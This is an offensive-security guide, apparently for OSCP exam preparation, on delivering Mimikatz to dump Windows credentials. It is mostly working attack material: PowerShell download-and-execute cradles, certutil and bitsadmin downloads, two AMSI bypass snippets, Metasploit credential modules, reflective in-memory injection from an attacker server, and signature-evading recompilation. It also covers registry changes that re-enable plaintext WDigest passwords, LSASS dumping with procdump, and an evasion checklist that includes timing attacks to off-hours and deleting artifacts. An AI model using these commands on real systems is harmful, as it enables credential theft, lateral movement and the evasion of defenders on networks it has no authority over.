Mimikatz Delivery Techniques
What is Mimikatz?
Mimikatz is the most widely used credential dumping tool in offensive security. Originally released by Benjamin Delpy (gentilkiwi) in 2011, it extracts plaintext passwords, hashes, PIN codes, and Kerberos tickets from Windows memory (LSASS process).
Core Capabilities
| Capability | Description | OSCP Relevance |
|---|---|---|
| Plaintext password extraction | Reads passwords from LSASS memory (Wdigest, SSP) | High - domain admin access |
| NTLM/LM hash extraction | Extracts credential hashes for pass-the-hash | High - lateral movement |
| Kerberos ticket extraction | Dumps TGT and service tickets (APREQ) | Medium - Kerberos attacks |
| Pass-the-Hash (PtH) | Inject hashes into current session | High - lateral movement |
| Pass-the-Ticket (PtT) | Inject Kerberos tickets into session | Medium - Kerberos relay |
| Golden/Silver Ticket | Forge Kerberos tickets with KRBTGT hash | Medium - persistence |
| SAM database dump | Extracts local account hashes from SAM | High - local privesc |
| DPAPI credential dump | Extracts Chrome, Edge, RDP saved creds | Medium - browser creds |
| Token impersonation | Steal and use security tokens | High - privilege escalation |
Why Mimikatz is Heavily Detected
Mimikatz is one of the most signatured tools in the security industry. Understanding detection vectors is critical for OSCP:
- File-based signatures: AV products maintain hashes and YARA rules for known Mimikatz binaries
- LSASS access patterns: Opening
lsass.exewithPROCESS_VM_READis heavily monitored - Well-known strings: Command strings like
mimikatz,sekurlsa,kerberostrigger alerts - Network indicators: Downloading from
github.com/gentilkiwi/mimikatzis flagged - Behavioral detection: EDR solutions monitor for credential API abuse (LSA secrets, Wdigest)
- PowerShell indicators:
Invoke-Mimikatz.ps1is a known malicious script
Method 1: Direct Download and Execute
The simplest approach — download and run the official binary.
# Via PowerShell
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" -OutFile "mimikatz.zip"
Expand-Archive "mimikatz.zip" -DestinationPath "C:\temp\"
cd C:\temp\mimikatz\x64\
.\mimikatz.exe
# Via certutil (no PowerShell execution policy issues)
certutil -urlcache -split -f "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" "C:\temp\mimikatz.zip"
# Via bitsadmin (legacy, works on older systems)
bitsadmin /transfer "mimikatz" "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" "C:\temp\mimikatz.zip"
Risks: Almost always detected by modern AV. The binary hash is in every signature database. When it works: Lab environments with no AV, or when the target has very outdated defenses. OSCP tip: Try this first in labs with no AV. If it gets quarantined, move to Method 2 or 3.
Method 2: Base64 Encoded Delivery
Encode the Mimikatz binary as Base64 to bypass basic file-hash detection. The binary still runs the same way, but the delivery mechanism is obfuscated.
# On your attacker machine — encode the binary
[Convert]::ToBase64String((Get-Content -Path "mimikatz.exe" -Encoding Byte)) | Out-File "mimikatz.b64"
# On the target — decode and execute
$b64 = Get-Content "mimikatz.b64"
$bytes = [Convert]::FromBase64String($b64)
Set-Content -Path "C:\temp\tool.exe" -Value $bytes -Encoding Byte
Start-Process "C:\temp\tool.exe"
# One-liner (inline, no intermediate file on disk)
$bytes = [Convert]::FromBase64String((Get-Content "mimikatz.b64")); `
$assembly = [System.Reflection.Assembly]::Load($bytes)
Detection risk: Medium. The decoded binary on disk will still match signatures. Better combined with in-memory execution (Method 6). OSCP tip: Use this when the download URL is blocked but file upload is allowed.
Method 3: PowerShell Invoke-Mimikatz
The most common OSCP technique. Uses the PowerShell module from the PowerSploit/PowerShellMafia project.
Download Cradle + Execute
# Method A: Download and invoke in one line
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -DumpCreds
# Method B: Staged approach (more reliable)
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds
# Method C: From a local file (when internet is blocked)
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -DumpCreds
# Method D: With specific options
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"
Key Parameters
| Parameter | Description |
|---|---|
-DumpCreds |
Dumps all logon passwords (default) |
-Command "..." |
Run raw Mimikatz commands |
-WdigestDowngrade |
Downgrade security to enable WDigest |
-ComputerName "target" |
Remote execution via WMI |
Detection risk: High. Invoke-Mimikatz.ps1 is a known malicious script. PowerShell logging (AMSI, Script Block Logging) will catch it.
OSCP tip: This is your go-to method. Works in most OSCP labs. If blocked, try encoding the command: powershell -enc <base64_encoded_command>
AMSI Bypass Before Invoke-Mimikatz
# AMSI bypass (needed on Windows 10/Server 2016+)
[Ref].Assembly.GetType('System.Diagnostics.Eventing.EventProvider').GetField('eventId','NonPublic,Static').SetValue($null,0)
# Or the popular bypass
$Asm = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$False = $Asm.GetMethods() | Where-Object { $_.Name -eq 'SetHandle' }
$False.Invoke($null, @(($Asm.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' })[0].Invoke($null, @(($Asm.GetMethods() | Where-Object { $_.Name -eq 'GetModuleHandle' })[0].Invoke($null, @('amsi')), 'AmsiScanBuffer'))))
Method 4: Metasploit Integration
Metasploit provides Mimikatz functionality through post-exploitation modules.
# From Meterpreter session
use post/windows/gather/smart_hashdump
set SESSION 1
run
# Full Mimikatz module
use post/windows/gather/mimikatz
set SESSION 1
run
# Specific credential module
use post/windows/gather/credentials/mimikatz
set SESSION 1
run
# Kerberos ticket extraction
use post/windows/gather/credentials/mimikatz_kerberos
set SESSION 1
run
# Pass-the-Hash from Meterpreter
use post/windows/gather/credentials/mimikatz_pth
set SESSION 1
set USER "target_user"
set HASH "ntlm_hash_here"
run
Meterpreter Built-in Commands
# These work without loading any module
hashdump # Dumps SAM hashes (local only)
mimikatz_cmd "command" # Run arbitrary Mimikatz command
mimikatz_command -f sam # Dump SAM database
mimikatz_command -f sekurlsa::logonpasswords
Detection risk: Medium-High. Meterpreter beaconing and Mimikatz injection are both detectable.
OSCP tip: Use hashdump first (simpler, less detection). Fall back to Mimikatz modules when you need plaintext passwords or Kerberos tickets.
Method 5: Custom Mimikatz Builds
Recompiling Mimikatz with modified strings and resources bypasses signature-based detection.
Steps to Build Custom Mimikatz
1. Install Visual Studio 2019/2022 (Community edition is free)
2. Clone the Mimikatz repository:
git clone https://github.com/gentilkiwi/mimikatz.git
3. Open mimikatz.sln in Visual Studio
4. Modify the source to evade detection:
- Change string literals (e.g., "mimikatz" -> "mytool")
- Rename the executable output name
- Change resource file properties
- Modify command names in source code
5. Build in Release mode (x64 for 64-bit targets)
- Right-click project -> Build
6. The new binary will have different hashes and strings
Key Files to Modify
| File | What to Change |
|---|---|
mimikatz.rh |
Resource header — change product name, description |
mimikatz.rc |
Resource file — change file version, company name |
source\\mimikatz.h |
Header strings, banner text |
source\\kuhl_m_sekurlsa.c |
Module names and output strings |
Detection risk: Low for signature-based AV. Behavioral detection (LSASS access) still applies. OSCP tip: Pre-build your custom Mimikatz before the exam. Having a ready-to-use binary saves critical time.
Method 6: In-Memory Execution (Reflective Loading)
The most stealthy approach — loads Mimikatz entirely in memory without touching disk.
Using Invoke-ReflectivePEInjection
# Download both scripts
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1")
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
# Download Mimikatz binary to memory (not disk)
$mime = Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" -UseBasicParsing
# Extract to memory and inject
Invoke-ReflectivePEInjection -PEUrl "https://your-server/mimikatz.exe" -ForceASR
Using DonPAPI / Rubeus Alternative
# Rubeus for Kerberos attacks (C#, .NET, often less detected)
IEX(New-Object Net.WebClient).DownloadString("https://your-server/Rubeus.exe.b64")
Detection risk: Low. No binary on disk, no file creation artifacts. Memory scanning required. OSCP tip: Best approach when AV is active. The lack of disk artifacts makes forensic detection very difficult.
Key Mimikatz Commands Reference
| Command | Description | Typical Output |
|---|---|---|
privilege::debug |
Elevate to debug privilege (required) | Privilege ‘20’ OK |
sekurlsa::logonpasswords |
Dump all logon session credentials | Username, domain, NTLM, plaintext |
sekurlsa::wdigest |
Extract WDigest credentials | Plaintext passwords from WDigest |
sekurlsa::kerberos |
Extract Kerberos tickets | Ticket data, SPN, usernames |
kerberos::list |
List all Kerberos tickets in cache | TGT, service tickets |
kerberos::golden |
Create a Golden Ticket | Forged TGT with specified user |
lsadump::sam |
Dump SAM database (local hashes) | Username:RID:LM:NTLM |
lsadump::secrets |
Dump LSA secrets | DPAPI master keys, cached creds |
token::elevate |
Elevate current token to SYSTEM | Token switched to SYSTEM |
token::list |
List available tokens | All active security tokens |
sekurlsa::pth |
Pass-the-Hash attack | Injects hash into current session |
sekurlsa::pth /user:admin /domain:corp /ntlm:hash |
PtH with specific creds | New session with target identity |
misc::memssp |
Register Mimikatz as SSP | Logs all future auth to file |
dpapi::chrome |
Dump Chrome saved passwords | Browser credentials |
Essential Command Sequence
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # kerberos::list
mimikatz # lsadump::sam
Detection Methods and Evasion Strategies
How Defenders Detect Mimikatz
| Detection Method | What It Catches | Evasion Strategy |
|---|---|---|
| File hash matching | Known Mimikatz binary hashes | Custom build, rename binary |
| YARA rules | String patterns in binary | Recompile with modified strings |
| LSASS access monitoring | Opening lsass.exe with read access | Use alternative tools (Rubeus for Kerberos) |
| PowerShell AMSI | Scans PowerShell scripts in memory | AMSI bypass before execution |
| Script Block Logging | Logs all PowerShell script content | Use encoded commands, avoid PS |
| Sysmon Event 10 | Process access to LSASS | Custom build, in-memory execution |
| Network detection | Downloads from known URLs | Host on your own server, use Base64 |
| EDR behavioral analysis | Credential API abuse patterns | Time-based evasion, alternative tools |
Practical Evasion Checklist
- Before execution: Bypass AMSI if using PowerShell
- Delivery: Use your own hosting (not GitHub raw links)
- Binary: Use a custom-built Mimikatz with renamed strings
- Execution: Prefer in-memory loading over disk writes
- Timing: Run during off-hours to reduce alert correlation
- Cleanup: Delete any dropped files after credential extraction
- Alternative: Consider Rubeus for Kerberos-specific attacks
Alternatives to Mimikatz
When Mimikatz is detected or blocked, these tools provide similar functionality:
Rubeus
- Focus: Kerberos attacks (Golden/Silver tickets, Kerberoasting, AS-REP roasting)
- Language: C# / .NET
- Detection: Lower than Mimikatz for Kerberos operations
- OSCP use: Kerberoasting, ticket manipulation
LaZagne
- Focus: Application credential recovery (browsers, email clients, VPNs)
- Language: Python
- Detection: Medium
- OSCP use: Extracting saved browser passwords, RDP credentials
SharpChrome
- Focus: Chrome/Edge credential extraction
- Language: C# / .NET
- Detection: Low (single-purpose tool)
- OSCP use: Browser credential harvesting
Windows Credential Manager
- Focus: Built-in Windows credential storage
- Command:
cmdkey /list(view),cmdkey /add(add) - Detection: None (legitimate Windows tool)
- OSCP use: View and abuse stored Windows credentials
procdump (Sysinternals)
- Focus: LSASS memory dump (legitimate Microsoft tool)
- Command:
procdump -ma lsass.exe lsass.dmp - Detection: Low (signed Microsoft binary)
- OSCP use: Dump LSASS, then analyze offline with Mimikatz on your attacker machine
SecretsDump (Impacket)
- Focus: Remote credential dumping via SMB/DSRPC
- Command:
secretsdump.py domain/user@target - Detection: Medium (SMB traffic analysis)
- OSCP use: Remote hash dumping without local execution
Practical OSCP Tips
When Mimikatz Works
- Local Administrator or SYSTEM access on the target
- WDigest enabled (plaintext passwords available) — check with
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest - No Credential Guard — Windows 10/11 with Credential Guard blocks LSASS access
- No LSA Protection — “Run as PPL” setting protects LSASS
- Windows Server 2012 and earlier — Minimal protections, Mimikatz works reliably
When Mimikatz Fails
| Protection | Effect | Workaround |
|---|---|---|
| Credential Guard | Virtualized LSA, blocks all LSASS access | No reliable bypass on OSCP |
| LSA Protection (Run as PPL) | LSASS runs as protected process | procdump may still work |
| WDigest disabled | No plaintext passwords in memory | Use NTLM hashes for PtH |
| Protected Users group | Enforces strict auth policies | Target other accounts |
| No admin/SYSTEM | Cannot open LSASS | Escalate privileges first |
| AV/EDR active | Binary detected and quarantined | Custom build, in-memory execution |
Pro Tips for the Exam
- Always try
hashdumpin Meterpreter first — simpler, works for local hashes, less detection - Check WDigest status before expecting plaintext passwords:
If value isreg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential0or missing, plaintext passwords won’t be available via WDigest. - Enable WDigest if you have admin and need plaintext:
Then force a re-login for the password to appear in memory.reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f - Use
procdump+ offline Mimikatz — dump LSASS on target with procdump (signed MS tool), transfer the dump to your Kali machine, and run Mimikatz locally. This avoids running Mimikatz on the target entirely. - For domain environments, Mimikatz on a Domain Controller gives you the most value — domain admin hashes, KRBTGT hash for Golden Tickets.
- Remember the order:
privilege::debugmust run before any other command. If you forget, Mimikatz will fail silently on many operations. - Pass-the-Hash is often more useful than plaintext passwords — you can pivot laterally without knowing the actual password.
Quick Reference: Credential Dumping Decision Tree
Do you have SYSTEM/Admin?
├── No → Escalate privileges first
└── Yes → Is Credential Guard active?
├── Yes → Try procdump, check for other credential stores
└── No → Is AV/EDR active?
├── Yes → Use procdump (offline analysis) or custom Mimikatz build
└── No → Use Invoke-Mimikatz or direct Mimikatz.exe
├── Need plaintext? → Check WDigest status
├── Need hashes? → sekurlsa::logonpasswords or hashdump
└── Need Kerberos? → kerberos::list, Rubeus
This guide covers the core Mimikatz techniques tested on OSCP. Practice all delivery methods in your lab environment before the exam. Remember: the goal is credential extraction, not tool obsession — use whatever method works on the target.